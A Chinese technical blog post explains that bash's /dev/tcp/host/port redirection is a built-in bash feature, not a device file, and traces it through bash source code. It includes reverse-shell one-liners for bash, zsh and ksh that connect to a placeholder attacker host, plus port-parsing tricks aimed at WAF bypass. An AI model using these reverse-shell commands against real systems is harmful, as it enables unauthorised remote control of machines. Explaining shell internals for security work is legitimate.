Bash /dev/(tcp|udp)/${HOST}/${PORT} 分析


首发地址:https://www.secpulse.com/archives/71494.html


Background

在反弹 shell 的时候经常遇到这样的 payload:

bash -i 1>&/dev/tcp/${HOST}/${PORT} 2>&1 0>&1

这样的 Payload 总是不能在例如:zsh sh 的环境下起作用
而且印象中:/dev/这个文件夹中保存着系统的设备文件
因此老是以为 /dev/tcp/${HOST}/${PORT} 为一个存在在操作系统文件系统中的像设备一样的文件
但是这个文件并不存在

How does it work?

一直觉得很奇怪,最终经过和队友的一番讨论,感谢队友的指点,终于搞清楚了原因

/dev/tcp/host/port 其实是一个 bash 的 feature
由于是 bash的 feature,因此在别的 shell下就不能生效,所以在渗透测试中,最好还是使用下面命令来进行反弹shell的操作,增加健壮性。

bash -c 'bash -i 1>&/dev/tcp/${HOST}/${PORT} 2>&1 0>&1‘

bash 在处理重定向的时候,除了支持本地文件外,如果在编译的时候 enable 这些选项:

HAVE_DEV_FD(控制是否支持 /dev/fd/[0-9]*)
HAVE_DEV_STDIN(控制是否支持 /dev/stderr /dev/stdin /dev/stdout)
NETWORK_REDIRECTIONS(控制是否支持 /dev/(tcp|udp)/*/*)

则会支持以下几个特殊的形式:

/dev/fd/[0-9]*
/dev/stderr
/dev/stdin
/dev/stdout
/dev/tcp/*/*
/dev/udp/*/*

参考 bash 源码中redir.c对变量_redir_special_filenames的定义
在 bash 打开重定向文件的时候,会先调用find_string_in_alist判断这个被打开的文件完整名称是否匹配上述的六种模式,这个函数可以识别通配符,最终调用的是:strmatch 来判断字符串是否匹配

static int
redir_open (filename, flags, mode, ri)
     char *filename;
     int flags, mode;
     enum r_instruction ri;
{
  int fd, r, e;

  r = find_string_in_alist (filename, _redir_special_filenames, 1);
  if (r >= 0)
    return (redir_special_open (r, filename, flags, mode, ri));
  // ...
}

如果匹配成功,则就会调用 redir_special_open 这个函数来打开这些特殊文件

static int
redir_special_open (spec, filename, flags, mode, ri)
     int spec;
     char *filename;
     int flags, mode;
     enum r_instruction ri;
{
  int fd;
#if !defined (HAVE_DEV_FD)
  intmax_t lfd;
#endif

  fd = -1;
  switch (spec)
    {
#if !defined (HAVE_DEV_FD)
    case RF_DEVFD:
      if (all_digits (filename+8) && legal_number (filename+8, &lfd) && lfd == (int)lfd)
    {
      fd = lfd;
      fd = fcntl (fd, F_DUPFD, SHELL_FD_BASE);
    }
      else
    fd = AMBIGUOUS_REDIRECT;
      break;
#endif

#if !defined (HAVE_DEV_STDIN)
    case RF_DEVSTDIN:
      fd = fcntl (0, F_DUPFD, SHELL_FD_BASE);
      break;
    case RF_DEVSTDOUT:
      fd = fcntl (1, F_DUPFD, SHELL_FD_BASE);
      break;
    case RF_DEVSTDERR:
      fd = fcntl (2, F_DUPFD, SHELL_FD_BASE);
      break;
#endif

#if defined (NETWORK_REDIRECTIONS)
    case RF_DEVTCP:
    case RF_DEVUDP:
#if defined (HAVE_NETWORK)
      fd = netopen (filename);
#else
      internal_warning (_("/dev/(tcp|udp)/host/port not supported without networking"));
      fd = open (filename, flags, mode);
#endif
      break;
#endif /* NETWORK_REDIRECTIONS */
    }

  return fd;
}

分析了这些代码最终的结论为:
虽然/dev/tcp/${HOST}/${PORT} 这个字符串看起来很像一个文件系统中的文件,并且位于 /dev 这个设备文件夹下
但是:这个文件并不存在,而且并不是一个设备文件。这只是 bash 实现的用来实现网络请求的一个接口,其实就像我们自己编写的一个命令行程序,按照指定的格式输入 host port参数,就能发起一个 socket连接完全一样。

其实很奇怪的是为什么这个接口的调用方式和访问文件系统是一样的,这会让很多人误以为这是一个文件,感觉不是特别合理。那么如果有这样的需求:如果真的有一个/dev/tcp/host/port文件该如何重定向? 可能 bash 的设计者在设计这个命令的调用方式的时候就默认不会存在 /dev/tcp 这个文件夹吧,里面也不会有文件。还是感觉这种设计不是很合理,哪怕设计成额外的命令行参数也比现在设计成一个伪文件要对使用者的理解更友好一点。

Any BUGS?

这一节中讨论 bash 在处理 /dev/tcp/${HOST}/${PORT}hostport 字段的时候存在的一些问题
可能会在渗透测试中用到,例如 bypass 一些 waf(当然可能性非常小)

netopen.c

/*
 * Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to
 * host `host' on port `port' and return the connected socket.
 */
int
netopen (path)
     char *path;
{
  char *np, *s, *t;
  int fd;

  np = (char *)xmalloc (strlen (path) + 1);
  strcpy (np, path);

  s = np + 9;
  t = strchr (s, '/');
  if (t == 0)
    {
      internal_error (_("%s: bad network path specification"), path);
      free (np);
      return -1;
    }
  *t++ = '\0';
  fd = _netopen (s, t, path[5]);
  free (np);

  return fd;
}
/*
 * Open a TCP or UDP connection to HOST on port SERV.  Uses getaddrinfo(3)
 * if available, falling back to the traditional BSD mechanisms otherwise.
 * Returns the connected socket or -1 on error.
 */
static int 
_netopen(host, serv, typ)
     char *host, *serv;
     int typ;
{
#ifdef HAVE_GETADDRINFO
  return (_netopen6 (host, serv, typ));
#else
  return (_netopen4 (host, serv, typ));
#endif
}
/*
 * Open a TCP or UDP connection to HOST on port SERV.  Uses the
 * traditional BSD mechanisms.  Returns the connected socket or -1 on error.
 */
static int 
_netopen4(host, serv, typ)
     char *host, *serv;
     int typ;
{
  // ...

  if (_getserv(serv, typ, &p) == 0)
    {
      internal_error(_("%s: invalid service"), serv);
      errno = EINVAL;
      return -1;
    }

  // ...
}
#endif /* ! HAVE_GETADDRINFO */
/* Return 1 if SERV is a valid port number and stuff the converted value into
   PP in network byte order. */   
static int
_getserv (serv, proto, pp)
     char *serv;
     int proto;
     unsigned short *pp;
{
  intmax_t l; 
  // intmax_t 为一个宏定义,在 configure 文件中定义,根据平台不同值可能为 long 或者 long long
  unsigned short s;

  if (legal_number (serv, &l)) 
  // 先将字符串转化为 long,这个操作其实是开发者为了开发方便
  // 将判断字符串是否是一个合法的数字进行了封装
  // 但是这里存在的问题是:在转换的时候没有注意表示范围(将表示范围提升了)
  // 本身端口只需要两个字节来表示(0-65535)
  // 但是这里先将数据提升成了 long 型,然后再 &0xffff 来确保这个数据是在两字节范围内的
  // 这就存在溢出的问题
    {
      s = (unsigned short)(l & 0xFFFF); // 然后再取其后两个字节作为 short int 的端口(Vulnerable?)
      if (s != l)
    return (0);
      s = htons (s);
  // ...
}

finfo.c

int
legal_number (string, result)
     char *string;
     long *result;
{
  int sign;
  long value;

  sign = 1;
  value = 0;

  if (result)
    *result = 0;

  /* Skip leading whitespace characters. */
  while (whitespace (*string))
    string++;

  if (!*string)
    return (0);

  /* We allow leading `-' or `+'. */
  if (*string == '-' || *string == '+')
    {
      if (!digit (string[1]))
        return (0);

      if (*string == '-')
        sign = -1;

      string++;
    }

  while (digit (*string))
    {
      if (result)
        value = (value * 10) + digit_value (*string);
      string++;
    }

  /* Skip trailing whitespace, if any. */
  while (whitespace (*string))
    string++;

  /* Error if not at end of string. */
  if (*string)
    return (0);

  if (result)
    *result = value * sign;

  return (1);
}

gen-helpfiles.c

#define whitespace(c) (((c) == ' ') || ((c) == '\t'))

根据上述代码,我们可以尝试对 port 字段进行变形
例如:
如果 legal_number 正常返回字符串转换得到的数字

cat<'/dev/tcp/127.0.0.1/ 22'
cat<'/dev/tcp/127.0.0.1/65558'
cat<'/dev/tcp/127.0.0.1/+22'
cat<'/dev/tcp/127.0.0.1/    22'
cat<'/dev/tcp/127.0.0.1/    +22'

如果 legal_number 返回 0 (表示转换失败或者输入数字为 0)则会将 serv 字符串传入 getservbyname 函数
根据 man 手册

FILES
       /etc/services
              services database file
tcpmux      1/tcp               # TCP port service multiplexer
echo        7/tcp
echo        7/udp
discard     9/tcp       sink null
discard     9/udp       sink null
systat      11/tcp      users
daytime     13/tcp
daytime     13/udp
netstat     15/tcp
qotd        17/tcp      quote
msp     18/tcp              # message send protocol
msp     18/udp
chargen     19/tcp      ttytst source
chargen     19/udp      ttytst source
ftp-data    20/tcp
ftp     21/tcp
fsp     21/udp      fspd
ssh     22/tcp              # SSH Remote Login Protocol
...
cat<'/dev/tcp/127.0.0.1/ssh'

虽然上述的变形可能在实战中作用不大,但是也算是一种思维的开拓吧。
再来看看处理 host 字段的函数:

static int
_getaddr (host, ap)
     char *host;
     struct in_addr *ap;
{
  struct hostent *h;
  int r;

  r = 0;
  if (host[0] >= '0' && host[0] <= '9')
    {
      /* If the first character is a digit, guess that it's an
     Internet address and return immediately if inet_aton succeeds. */
      r = inet_aton (host, ap);
      if (r)
    return r;
    }
#if !defined (HAVE_GETHOSTBYNAME)
  return 0;
#else
  h = gethostbyname (host);
  if (h && h->h_addr)
    {
      bcopy(h->h_addr, (char *)ap, h->h_length);
      return 1;
    }
#endif
  return 0;
  
}

这里只要 host 的第一个字符是数字,那么就会先调用 inet_aton 这个函数

inet_aton() converts the Internet host address cp from  the  IPv4  num‐
bers-and-dots  notation  into  binary  form (in network byte order) and
stores it in the structure that inp  points  to.   inet_aton()  returns
nonzero  if the address is valid, zero if not.

如果失败则会重新调用 gethostbyname

The gethostbyname*(), gethostbyaddr*(), herror(), and hstrerror() func‐
tions  are  obsolete.  Applications should use getaddrinfo(3), getname‐
info(3), and gai_strerror(3) instead.

暂时没有想到什么可以利用的姿势

What about other shell?

其他的 shell 是否也具备类似的功能?

存在网络连接功能:
  zsh
  ksh
暂时未发现存在网络连接功能:
  fish 
  csh
  sh
  • ZSH
zmodload zsh/net/tcp && ztcp -d 9 127.0.0.1 8080 && zsh 1>&9 2>&9 0>&9
  • KSH
    参考 ksh 的 man 手册
In  each  of  the  following  redirections,  if  file  is  of  the form
/dev/sctp/host/port, /dev/tcp/host/port, or  /dev/udp/host/port,  where
host is a hostname or host address, and port is a service given by name
or an integer port number, then the redirection attempts to make a tcp,
sctp or udp connection to the corresponding socket.

和 bash 类似,但是不同的地方是 ksh 的重定向语法和 bash 略有不同,这个问题比较好解决,直接查阅 ksh 的文档即可

<&digit       
    The standard input is duplicated from file descriptor digit (see dup(2)).  
    Similarly for the standard output using >&digit.
<&digit-      
    The file descriptor given by digit is moved to standard input.  
    Similarly for the standard output using >&digit-.
ksh -c 'ksh >/dev/tcp/${HOST}/${PORT} <&1'

Thinking

  • 看源码是个好习惯,你会发现很多文档中没有的东西(接口、函数...)
  • 举一反三

References

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,189评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,577评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,857评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,703评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,705评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,620评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,995评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,656评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,898评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,639评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,720评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,395评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,982评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,953评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,195评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,907评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,472评论 2 342

推荐阅读更多精彩内容

  • 官网 中文版本 好的网站 Content-type: text/htmlBASH Section: User ...
    不排版阅读 4,362评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,594评论 18 139
  • #########################################################...
    半斋阅读 3,729评论 0 3
  • 简介 用简单的话来定义tcpdump,就是:dump the traffic on a network,根据使用者...
    保川阅读 5,941评论 1 13
  • 不记得自己哪天开始,才主动欣赏起中国画来,而且还不知不觉爱上一批画家,爱看他们的作品,也爱读他们的文字、也爱去探索...
    如贝衔珠阅读 632评论 0 8